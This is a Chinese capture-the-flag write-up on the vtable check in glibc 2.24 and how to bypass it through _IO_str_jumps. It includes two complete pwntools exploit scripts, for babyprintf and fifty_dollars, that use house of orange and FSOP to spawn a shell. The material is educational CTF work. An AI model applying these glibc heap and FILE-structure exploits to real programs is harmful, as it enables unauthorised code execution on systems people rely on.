glibc 2.24开始的vtable check及其绕过
原理
在2.23及其之前,IO结构体里面的vtable里面的相关函数在调用的时候不存在检查,这就使得容易被构造从而使得vtable容易被攻击。
在此基础之上glibc 2.24加入了vtable check机制:
在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,跟进去该函数,源码如下,文件在/libio/libioP.h中:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
可以看到glibc中是有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables
指向第一个vtable地址_IO_helper_jumps
,而__stop___libc_IO_vtables
指向最后一个vtable_IO_str_chk_jumps
结束的地址,因此,如果我们想之前一样伪造vtable,那么无法绕过这个检查,看源码vtable check会怎么做:
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
return;
}
...
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
进入该函数意味着目前的vtable不是glibc中的vtable,因此_IO_vtable_check
判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。
总结
glibc2.24中vtable中的check机制可以小结为:
1.判断vtable的地址是否处于glibc中的vtable数组段,是的话,通过检查。
2.否则判断是否为外部的合法vtable(重构或是动态链接库中的vtable),是的话,通过检查。
3.否则报错,输出Fatal error: glibc detected an invalid stdio handle,程序退出。
所以最终的原因是:exp中的vtable是堆的地址,不在vtable数组中,且无法通过后续的检查,因此才会报错。
绕过check
•使用内部的vtable_IO_str_jumps或_IO_wstr_jumps来进行利用。
•使用缓冲区指针来进行任意内存读写。
例题:
hctf 2017的babyprintf
[*] '/home/root0/pratice/pwn_category/IO_FILE/vtable_str_jumps/hctf2017-babyprintf/babyprintf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: '/glibc/x64/2.24/lib'
FORTIFY: Enabled
开启了NX, CANARY ,FORTIFY 看程序流程:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *ptr; // rbx
unsigned int size; // eax
menu();
while ( 1 )
{
__printf_chk(1LL, (__int64)"size: ");
size = read_in();
if ( size > 0x1000 )
break;
ptr = malloc(size);
__printf_chk(1LL, (__int64)"string: ");
gets(ptr);
__printf_chk(1LL, (__int64)"result: ");
__printf_chk(1LL, (__int64)ptr);
}
puts("too long");
exit(1);
}
可以看出有格式化字符串漏洞,和堆溢出,
首先想到的是格式化任意写,把one_gadget写入到malloc_hook,但是不行,不过联想到有malloc,但是没有free,同时又有堆溢出,所以自然想到了house 0f orange,exit函数的存在也使得IO攻击成为可能。
注意点
由于这个题目是glibc 2.24,那么自然存在vtable check的检查,所以我们就要改用绕过手法。
把vtable 改写成_IO_str_jump - 8来绕过检查。同时注意mode flag _io_write_base 和 _io_write_ptr这类的构造。
这类题目可以用 pwn_debug 这个项目,构造会方便很多。
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./babyprintf"
libcversion = '2.24'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
success(libcbase + " ===> " + hex(libcbase))
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def attack(size,content):
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("string: ")
r.send(content +"\n")
attack(1,"%p")
r.recvuntil("result: ")
libcbase = int(r.recv(14),16) - 0x39a760
confirm(libcbase)
malloc_hook = libcbase + libc.symbols["__malloc_hook"]
_IO_list_all_addr = 0x399500 + libcbase
_IO_str_jumps_addr = 0x395500 + libcbase
fake_vtable = _IO_str_jumps_addr - 8
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + libc.search("/bin/sh\x00").next()
attack(1,"A" * 0x18 + p64(0xfc1))
attack(0x1000,"")
attack(0x20,"b" * 0x20 + ((p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all_addr - 0x10) + p64(0) + p64(1) + "a"*8 + p64(bin_sh_addr)).ljust(0xb0,"a")+p64(0)+p64(0)+p64(0)).ljust(0xd8,"a") + p64(fake_vtable)+ p64(system_addr) * 2)
#gdb.attach(r)
r.recvuntil("size: ")
r.sendline("1")
#attack(1,"")
r.interactive()
ASIS2018-fifty_dollars
这个题目存在uaf , 我们通过double free可以改写数据,但是他的size被限制为0x60,所以我们在伪造FSOP的是劫持vtable就不能写0x60了,因为此时堆块不会被放入small bin而是直接返还给用户,此时我们就要用到第二次的main_arena,最终形成fp->_chain->_chain指向我们堆块的地址的堆块(即大小为0xb0的堆块),然后伪造就可以了。
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./ASIS2018-fifty_dollars"
libcversion = '2.24'
local = 1
context.binary = exec_binary
#context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
success(libcbase + " ===> " + hex(libcbase))
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr+text_base) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def malloc(idx,Content):
r.recvuntil("choice:")
r.sendline("1")
r.recvuntil("Index:")
r.sendline(str(idx))
r.recvuntil("Content:")
r.send(Content)
def show(idx):
r.recvuntil("choice:")
r.sendline("2")
r.recvuntil("Index:")
r.sendline(str(idx))
def free(idx):
r.recvuntil("choice:")
r.sendline("3")
r.recvuntil("Index:")
r.sendline(str(idx))
malloc(0,"a"*0x10 + p64(0) + p64(0x61))
malloc(1,"a")
malloc(2,"a")
free(0)
free(1)
free(2)
#debug(0x000000000000A94)
show(2)
heap_base = u64(r.recv(6).ljust(8,"\x00")) - 0x60
confirm(heap_base)
free(1)
malloc(3,p64(heap_base + 0x20))
malloc(3,"a")
malloc(3,"a")
malloc(3,"a"*0x30 + p64(0) + p64(0xc1))
malloc(4,"a")
free(1)
show(1)
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x39bb78 + 0x3020
bin_sh_addr = libcbase + libc.search("/bin/sh\x00").next()
system_addr = libcbase + libc.symbols["system"]
_IO_list_all_addr = libcbase + 0x399500
_IO_str_jumps = libcbase + 0x395500
confirm(libcbase)
free(0)
free(2)
free(0)
malloc(0,p64(heap_base + 0x50) + p64(0) + "a" * 0x30 + p64(0) + p64(0x61))
malloc(3,"a")
malloc(3,"a")
malloc(3,p64(0) + p64(0xb1) + p64(0) + p64(_IO_list_all_addr-0x10) + p64(0) + p64(1) + "a"*8 + p64(bin_sh_addr))
free(4)
malloc(4,p64(0) + p64(_IO_str_jumps-8) + p64(system_addr)*2)
free(2)
free(0)
free(2)
malloc(2,p64(heap_base + 0xf0) + p64(0)*4 +p64(0x61))
malloc(0,"a")
malloc(0,"a")
malloc(0,p64(0) * 5)
r.recvuntil("choice:")
r.sendline("1")
r.recvuntil("Index:")
r.sendline("6")
r.interactive()
参考链接: